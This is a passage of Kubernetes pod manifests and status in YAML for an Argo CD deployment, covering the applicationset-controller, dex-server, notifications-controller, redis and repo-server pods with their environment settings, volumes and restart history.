            key: applicationsetcontroller.global.preserved.annotations
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_GLOBAL_PRESERVED_LABELS
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.global.preserved.labels
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_LEADER_ELECTION
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.enable.leader.election
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER
        valueFrom:
          configMapKeyRef:
            key: repo.server
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_POLICY
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.policy
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_POLICY_OVERRIDE
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.enable.policy.override
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_DEBUG
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.debug
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_LOGFORMAT
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.log.format
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_LOGLEVEL
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.log.level
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_LOG_FORMAT_TIMESTAMP
        valueFrom:
          configMapKeyRef:
            key: log.format.timestamp
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_DRY_RUN
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.dryrun
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_GIT_MODULES_ENABLED
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.enable.git.submodule
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_PROGRESSIVE_SYNCS
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.enable.progressive.syncs
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_TOKENREF_STRICT_MODE
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.enable.tokenref.strict.mode
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.enable.new.git.file.globbing
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER_PLAINTEXT
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.repo.server.plaintext
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER_STRICT_TLS
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.repo.server.strict.tls
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER_TIMEOUT_SECONDS
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.repo.server.timeout.seconds
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_CONCURRENT_RECONCILIATIONS
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.concurrent.reconciliations.max
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_NAMESPACES
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.namespaces
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_SCM_ROOT_CA_PATH
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.scm.root.ca.path
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_ALLOWED_SCM_PROVIDERS
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.allowed.scm.providers
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_SCM_PROVIDERS
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.enable.scm.providers
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_GITHUB_API_METRICS
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.enable.github.api.metrics
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_WEBHOOK_PARALLELISM_LIMIT
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.webhook.parallelism.limit
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_REQUEUE_AFTER
        valueFrom:
          configMapKeyRef:
            key: applicationsetcontroller.requeue.after
            name: argocd-cmd-params-cm
            optional: true
      image: quay.io/argoproj/argocd:v3.1.6
      imagePullPolicy: IfNotPresent
      name: applicationset-controller
      ports:
      - containerPort: 8080
        name: metrics
        protocol: TCP
      - containerPort: 8081
        name: probe
        protocol: TCP
      - containerPort: 7000
        name: webhook
        protocol: TCP
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /app/config/ssh
        name: ssh-known-hosts
      - mountPath: /app/config/tls
        name: tls-certs
      - mountPath: /app/config/gpg/source
        name: gpg-keys
      - mountPath: /app/config/gpg/keys
        name: gpg-keyring
      - mountPath: /app/config/reposerver/tls
        name: argocd-repo-server-tls
      - mountPath: /tmp
        name: tmp
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hphmt
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: argocd-applicationset-controller
    serviceAccountName: argocd-applicationset-controller
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        name: argocd-ssh-known-hosts-cm
      name: ssh-known-hosts
    - configMap:
        defaultMode: 420
        name: argocd-tls-certs-cm
      name: tls-certs
    - configMap:
        defaultMode: 420
        name: argocd-gpg-keys-cm
      name: gpg-keys
    - emptyDir: {}
      name: gpg-keyring
    - emptyDir: {}
      name: tmp
    - name: argocd-repo-server-tls
      secret:
        defaultMode: 420
        items:
        - key: tls.crt
          path: tls.crt
        - key: tls.key
          path: tls.key
        - key: ca.crt
          path: ca.crt
        optional: true
        secretName: argocd-repo-server-tls
    - name: kube-api-access-hphmt
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:57Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:08:38Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:57Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:57Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:08:37Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://78ca022f7a20a1a53e31d1f9f9c39391cec47e7657b05e87ef886953cd82cf9f
      image: quay.io/argoproj/argocd:v3.1.6
      imageID: quay.io/argoproj/argocd@sha256:76290eb39df4b9b6bd6afb5d6038bb18a208b14b468bff329b9edc8f9b2aa714
      lastState:
        terminated:
          containerID: containerd://fd68d552edff598b0aaf828085ad314f378944d7e04687f38a0f8422d6b556f3
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:59Z"
      name: applicationset-controller
      ready: true
      resources: {}
      restartCount: 5
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:56Z"
      volumeMounts:
      - mountPath: /app/config/ssh
        name: ssh-known-hosts
      - mountPath: /app/config/tls
        name: tls-certs
      - mountPath: /app/config/gpg/source
        name: gpg-keys
      - mountPath: /app/config/gpg/keys
        name: gpg-keyring
      - mountPath: /app/config/reposerver/tls
        name: argocd-repo-server-tls
      - mountPath: /tmp
        name: tmp
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hphmt
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.226
    podIPs:
    - ip: 192.168.61.226
    qosClass: BestEffort
    startTime: "2025-10-18T01:08:38Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
      cni.projectcalico.org/containerID: 6b6a9425df8375060235e109fee8866cb8c78cb8960df452bf52478a7a7919f2
      cni.projectcalico.org/podIP: 192.168.61.199/32
      cni.projectcalico.org/podIPs: 192.168.61.199/32
    creationTimestamp: "2025-10-22T17:19:53Z"
    generateName: argocd-dex-server-6559c6dd79-
    generation: 1
    labels:
      app.kubernetes.io/component: dex-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-dex-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6559c6dd79
    name: argocd-dex-server-6559c6dd79-kk2j6
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: argocd-dex-server-6559c6dd79
      uid: f44bfaf9-3eeb-422a-a777-c678e0b6bb01
    resourceVersion: "18033579"
    uid: 99a12250-7fd6-49d8-ad5a-6c581d694263
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchLabels:
                app.kubernetes.io/name: argocd-dex-server
            topologyKey: kubernetes.io/hostname
          weight: 100
    automountServiceAccountToken: true
    containers:
    - args:
      - rundex
      command:
      - /shared/argocd-dex
      env:
      - name: ARGOCD_DEX_SERVER_LOGFORMAT
        valueFrom:
          configMapKeyRef:
            key: dexserver.log.format
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_DEX_SERVER_LOGLEVEL
        valueFrom:
          configMapKeyRef:
            key: dexserver.log.level
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_LOG_FORMAT_TIMESTAMP
        valueFrom:
          configMapKeyRef:
            key: log.format.timestamp
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_DEX_SERVER_DISABLE_TLS
        valueFrom:
          configMapKeyRef:
            key: dexserver.disable.tls
            name: argocd-cmd-params-cm
            optional: true
      image: ghcr.io/dexidp/dex:v2.44.0
      imagePullPolicy: IfNotPresent
      name: dex-server
      ports:
      - containerPort: 5556
        name: http
        protocol: TCP
      - containerPort: 5557
        name: grpc
        protocol: TCP
      - containerPort: 5558
        name: metrics
        protocol: TCP
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /shared
        name: static-files
      - mountPath: /tmp
        name: dexconfig
      - mountPath: /tls
        name: argocd-dex-server-tls
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-qlnrr
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    initContainers:
    - command:
      - /bin/cp
      - -n
      - /usr/local/bin/argocd
      - /shared/argocd-dex
      image: quay.io/argoproj/argocd:v3.1.6
      imagePullPolicy: IfNotPresent
      name: copyutil
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /shared
        name: static-files
      - mountPath: /tmp
        name: dexconfig
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-qlnrr
        readOnly: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: argocd-dex-server
    serviceAccountName: argocd-dex-server
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: static-files
    - emptyDir: {}
      name: dexconfig
    - name: argocd-dex-server-tls
      secret:
        defaultMode: 420
        items:
        - key: tls.crt
          path: tls.crt
        - key: tls.key
          path: tls.key
        - key: ca.crt
          path: ca.crt
        optional: true
        secretName: argocd-dex-server-tls
    - name: kube-api-access-qlnrr
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:50Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:20:07Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:52Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:52Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:19:53Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://20bf6f71fe4c7d2db1a10fe0b3290527dd27a6494a8dd2cfe7dcbd3575b13da5
      image: ghcr.io/dexidp/dex:v2.44.0
      imageID: ghcr.io/dexidp/dex@sha256:5d0656fce7d453c0e3b2706abf40c0d0ce5b371fb0b73b3cf714d05f35fa5f86
      lastState:
        terminated:
          containerID: containerd://7cf687c8eaff5343d8c028e1ac799765c1158a73b532bfb637bd0363d7a3d462
          exitCode: 255
          finishedAt: "2025-11-29T13:23:09Z"
          reason: Unknown
          startedAt: "2025-11-28T12:37:08Z"
      name: dex-server
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:52Z"
      volumeMounts:
      - mountPath: /shared
        name: static-files
      - mountPath: /tmp
        name: dexconfig
      - mountPath: /tls
        name: argocd-dex-server-tls
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-qlnrr
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    initContainerStatuses:
    - containerID: containerd://63719ea111a3a69f4a65ce037f05ae4a5e049e9304a60505ff1325ebc0f03135
      image: quay.io/argoproj/argocd:v3.1.6
      imageID: quay.io/argoproj/argocd@sha256:76290eb39df4b9b6bd6afb5d6038bb18a208b14b468bff329b9edc8f9b2aa714
      lastState: {}
      name: copyutil
      ready: true
      resources: {}
      restartCount: 3
      started: false
      state:
        terminated:
          containerID: containerd://63719ea111a3a69f4a65ce037f05ae4a5e049e9304a60505ff1325ebc0f03135
          exitCode: 0
          finishedAt: "2025-11-29T13:23:49Z"
          reason: Completed
          startedAt: "2025-11-29T13:23:49Z"
      volumeMounts:
      - mountPath: /shared
        name: static-files
      - mountPath: /tmp
        name: dexconfig
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-qlnrr
        readOnly: true
        recursiveReadOnly: Disabled
    phase: Running
    podIP: 192.168.61.199
    podIPs:
    - ip: 192.168.61.199
    qosClass: BestEffort
    startTime: "2025-10-22T17:19:53Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 3ff37c1d92669721ce5685c1564f277e6fdf880f87800db5377703876358cfd5
      cni.projectcalico.org/podIP: 192.168.61.209/32
      cni.projectcalico.org/podIPs: 192.168.61.209/32
    creationTimestamp: "2025-10-22T17:19:54Z"
    generateName: argocd-notifications-controller-6f78679858-
    generation: 1
    labels:
      app.kubernetes.io/component: notifications-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-notifications-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6f78679858
    name: argocd-notifications-controller-6f78679858-zclq7
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: argocd-notifications-controller-6f78679858
      uid: cdb76f48-b59a-4b7d-a5b9-1febd6d17b94
    resourceVersion: "18034077"
    uid: f8c11007-e05b-465a-a018-99172252da89
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchLabels:
                app.kubernetes.io/name: argocd-notifications-controller
            topologyKey: kubernetes.io/hostname
          weight: 100
    automountServiceAccountToken: true
    containers:
    - args:
      - /usr/local/bin/argocd-notifications
      - --metrics-port=9001
      - --namespace=argocd
      - --argocd-repo-server=argocd-repo-server:8081
      - --secret-name=argocd-notifications-secret
      env:
      - name: ARGOCD_NOTIFICATIONS_CONTROLLER_LOGLEVEL
        valueFrom:
          configMapKeyRef:
            key: notificationscontroller.log.level
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_NOTIFICATIONS_CONTROLLER_LOGFORMAT
        valueFrom:
          configMapKeyRef:
            key: notificationscontroller.log.format
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_LOG_FORMAT_TIMESTAMP
        valueFrom:
          configMapKeyRef:
            key: log.format.timestamp
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_NAMESPACES
        valueFrom:
          configMapKeyRef:
            key: application.namespaces
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_NOTIFICATION_CONTROLLER_SELF_SERVICE_NOTIFICATION_ENABLED
        valueFrom:
          configMapKeyRef:
            key: notificationscontroller.selfservice.enabled
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_NOTIFICATION_CONTROLLER_REPO_SERVER_PLAINTEXT
        valueFrom:
          configMapKeyRef:
            key: notificationscontroller.repo.server.plaintext
            name: argocd-cmd-params-cm
            optional: true
      image: quay.io/argoproj/argocd:v3.1.6
      imagePullPolicy: IfNotPresent
      name: notifications-controller
      ports:
      - containerPort: 9001
        name: metrics
        protocol: TCP
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /app/config/tls
        name: tls-certs
      - mountPath: /app/config/reposerver/tls
        name: argocd-repo-server-tls
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-g6qw6
        readOnly: true
      workingDir: /app
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: argocd-notifications-controller
    serviceAccountName: argocd-notifications-controller
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        name: argocd-tls-certs-cm
      name: tls-certs
    - name: argocd-repo-server-tls
      secret:
        defaultMode: 420
        items:
        - key: tls.crt
          path: tls.crt
        - key: tls.key
          path: tls.key
        - key: ca.crt
          path: ca.crt
        optional: true
        secretName: argocd-repo-server-tls
    - name: kube-api-access-g6qw6
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:55Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:19:54Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:55Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:55Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:19:54Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://c22b7b1a33899dd596309cdfb931ae398e5a50725cfd09a020e7a434bc90ad73
      image: quay.io/argoproj/argocd:v3.1.6
      imageID: quay.io/argoproj/argocd@sha256:76290eb39df4b9b6bd6afb5d6038bb18a208b14b468bff329b9edc8f9b2aa714
      lastState:
        terminated:
          containerID: containerd://7e7ce64ce435d683c74f0e6cba7b225c2f342c4e0e1060476a55fb6c0643db0c
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:37:05Z"
      name: notifications-controller
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:54Z"
      volumeMounts:
      - mountPath: /app/config/tls
        name: tls-certs
      - mountPath: /app/config/reposerver/tls
        name: argocd-repo-server-tls
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-g6qw6
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.209
    podIPs:
    - ip: 192.168.61.209
    qosClass: BestEffort
    startTime: "2025-10-22T17:19:54Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: fab098608503f24b53cc5f6e4b008fdf25453250b9ec61e54dd6ad182f4c10d0
      cni.projectcalico.org/podIP: 192.168.34.39/32
      cni.projectcalico.org/podIPs: 192.168.34.39/32
    creationTimestamp: "2025-10-20T04:00:01Z"
    generateName: argocd-redis-946cd9d9f-
    generation: 1
    labels:
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-redis
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 946cd9d9f
    name: argocd-redis-946cd9d9f-j9nkk
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: argocd-redis-946cd9d9f
      uid: af25881a-ffec-4cbd-b032-32253a91cd50
    resourceVersion: "18046327"
    uid: 2d1f1800-cb6f-4c7e-a628-910606365611
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchLabels:
                app.kubernetes.io/name: argocd-redis
            topologyKey: kubernetes.io/hostname
          weight: 100
    automountServiceAccountToken: true
    containers:
    - args:
      - --save
      - ""
      - --appendonly
      - "no"
      - --requirepass $(REDIS_PASSWORD)
      env:
      - name: REDIS_PASSWORD
        valueFrom:
          secretKeyRef:
            key: auth
            name: argocd-redis
      image: ecr-public.aws.com/docker/library/redis:7.2.8-alpine
      imagePullPolicy: IfNotPresent
      name: redis
      ports:
      - containerPort: 6379
        name: redis
        protocol: TCP
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /health
        name: health
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-xsp95
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-3
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      runAsNonRoot: true
      runAsUser: 999
      seccompProfile:
        type: RuntimeDefault
    serviceAccount: default
    serviceAccountName: default
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 493
        name: argocd-redis-health-configmap
      name: health
    - name: kube-api-access-xsp95
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:20Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-20T04:00:01Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:20Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:20Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-20T04:00:01Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://2b1b41c920af45afd5ad075da33a2dc78baa5fcc260ce057d06cbd0d51c240b4
      image: ecr-public.aws.com/docker/library/redis:7.2.8-alpine
      imageID: ecr-public.aws.com/docker/library/redis@sha256:c88ea2979a49ca497bbf7d39241b237f86c98e58cb2f6b1bc2dd167621f819bb
      lastState:
        terminated:
          containerID: containerd://144da1aa674cfd6dcad8a8456b9fa983a9efc33361be75859687b9d5a6e76c24
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:53Z"
      name: redis
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:19Z"
      volumeMounts:
      - mountPath: /health
        name: health
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-xsp95
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.39
    podIPs:
    - ip: 192.168.34.39
    qosClass: BestEffort
    startTime: "2025-10-20T04:00:01Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/cm: faedb8968e68853d0e0630d69c344209343eb97fd85812e14bd6f364258743b4
      checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
      cni.projectcalico.org/containerID: c52954762d6a2d668e2df869e7e7c6b4279cdb1c9c5922e1de9be37630ea26cf
      cni.projectcalico.org/podIP: 192.168.133.181/32
      cni.projectcalico.org/podIPs: 192.168.133.181/32
    creationTimestamp: "2025-11-25T15:22:12Z"
    generateName: argocd-repo-server-5c6559d6cd-
    generation: 1
    labels:
      app.kubernetes.io/component: repo-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-repo-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 5c6559d6cd
    name: argocd-repo-server-5c6559d6cd-m74c8
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: argocd-repo-server-5c6559d6cd
      uid: 53687d14-6edc-4ade-b684-40684a3637b9
    resourceVersion: "18007923"
